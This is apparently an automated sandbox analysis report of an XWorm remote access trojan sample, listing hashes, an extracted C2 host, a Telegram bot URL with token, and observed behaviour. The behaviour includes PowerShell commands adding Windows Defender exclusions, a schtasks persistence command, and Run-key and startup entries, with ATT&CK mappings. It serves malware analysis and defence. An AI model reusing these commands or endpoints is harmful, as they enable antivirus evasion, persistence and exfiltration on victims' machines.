xworm | 3123af93014a5a5c49aa6fd2118f6805041af178c222be27e30b2fd477085c19

Analysis

max time kernel
149s
max time network
137s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
02-08-2024 12:36

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General

Target

1/3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Size

487KB
MD5

f451292bbe0b4c16d244c251105de16a
SHA1

a527d277ccc25ad97ae64fb76767f1e2cda66ff2
SHA256

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a
SHA512

d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a
SSDEEP

6144:MNDD+bHpEiGXQ4rnc+UI73whSk7MIhWI3tf5Jx/R7ZCe7w4uoVLdaPYZHuW31bZ+:MNncp0jUI73F0DhHbbzCMwI11b

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

schools-copper.gl.at.ply.gg:14154

Attributes

Install_directory
%Userprofile%
install_file
svchost.exe
telegram
https://api.telegram.org/bot6887301557:AAE2e7AcjyzPeaHQb_2XBthrT3TTCKt7jCs/sendMessage?chat_id=7045481276

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral19/memory/2136-1-0x0000000000960000-0x00000000009DE000-memory.dmp	family_xworm
behavioral19/files/0x000d00000001202f-35.dat	family_xworm
behavioral19/memory/2924-37-0x0000000000C30000-0x0000000000CAE000-memory.dmp	family_xworm
behavioral19/memory/2480-39-0x00000000002B0000-0x000000000032E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe
2872	powershell.exe
2340	powershell.exe
2700	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Executes dropped EXE 2 IoCs

pid	Process
2924	svchost.exe
2480	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\svchost.exe"	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1996	powershell.exe
2872	powershell.exe
2340	powershell.exe
2700	powershell.exe
2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	2924	svchost.exe
Token: SeDebugPrivilege	2480	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 1996	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	31
PID 2136 wrote to memory of 1996	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	31
PID 2136 wrote to memory of 1996	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	31
PID 2136 wrote to memory of 2872	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	33
PID 2136 wrote to memory of 2872	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	33
PID 2136 wrote to memory of 2872	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	33
PID 2136 wrote to memory of 2340	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	35
PID 2136 wrote to memory of 2340	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	35
PID 2136 wrote to memory of 2340	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	35
PID 2136 wrote to memory of 2700	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	37
PID 2136 wrote to memory of 2700	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	37
PID 2136 wrote to memory of 2700	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	37
PID 2136 wrote to memory of 1444	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	39
PID 2136 wrote to memory of 1444	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	39
PID 2136 wrote to memory of 1444	2136	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	39
PID 2996 wrote to memory of 2924	2996	taskeng.exe	43
PID 2996 wrote to memory of 2924	2996	taskeng.exe	43
PID 2996 wrote to memory of 2924	2996	taskeng.exe	43
PID 2996 wrote to memory of 2480	2996	taskeng.exe	44
PID 2996 wrote to memory of 2480	2996	taskeng.exe	44
PID 2996 wrote to memory of 2480	2996	taskeng.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
"C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1444

C:\Windows\system32\taskeng.exe
taskeng.exe {C74543B6-7929-433A-BF3E-216D242B12DC} S-1-5-21-1385883288-3042840365-2734249351-1000:RPXOCQRF\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Users\Admin\svchost.exe
  C:\Users\Admin\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Users\Admin\svchost.exe
  C:\Users\Admin\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K24FNHZOR3UYVV67LCSX.temp

Filesize
7KB

MD5
6b004c63154070f56b27bfc82f0fbc29

SHA1
a70ad110788938f5617f8cda970d5512e008d1a7

SHA256
1e28987c6a38364b2553221cb966996930676e5982f2bad3fd88956c2bd586c1

SHA512
5679a452921fc7103b9fa6aae4f83b59c5c8469f5235f3ddbfa6aa259784b1f3d8105363ee1fb15cbed2d126ac774ea361e6c53b2ed19d7c840b0c24a9c35631

Download Submit
C:\Users\Admin\svchost.exe

Filesize
487KB

MD5
f451292bbe0b4c16d244c251105de16a

SHA1
a527d277ccc25ad97ae64fb76767f1e2cda66ff2

SHA256
3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a

SHA512
d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a

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memory/1996-7-0x0000000002B90000-0x0000000002C10000-memory.dmp

Filesize
512KB

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memory/1996-8-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

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memory/1996-9-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

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memory/2136-0-0x000007FEF5F73000-0x000007FEF5F74000-memory.dmp

Filesize
4KB

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memory/2136-2-0x000007FEF5F70000-0x000007FEF695C000-memory.dmp

Filesize
9.9MB

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memory/2136-31-0x000007FEF5F73000-0x000007FEF5F74000-memory.dmp

Filesize
4KB

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memory/2136-32-0x000007FEF5F70000-0x000007FEF695C000-memory.dmp

Filesize
9.9MB

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memory/2136-1-0x0000000000960000-0x00000000009DE000-memory.dmp

Filesize
504KB

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memory/2480-39-0x00000000002B0000-0x000000000032E000-memory.dmp

Filesize
504KB

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memory/2872-15-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

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memory/2872-16-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

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memory/2924-37-0x0000000000C30000-0x0000000000CAE000-memory.dmp

Filesize
504KB

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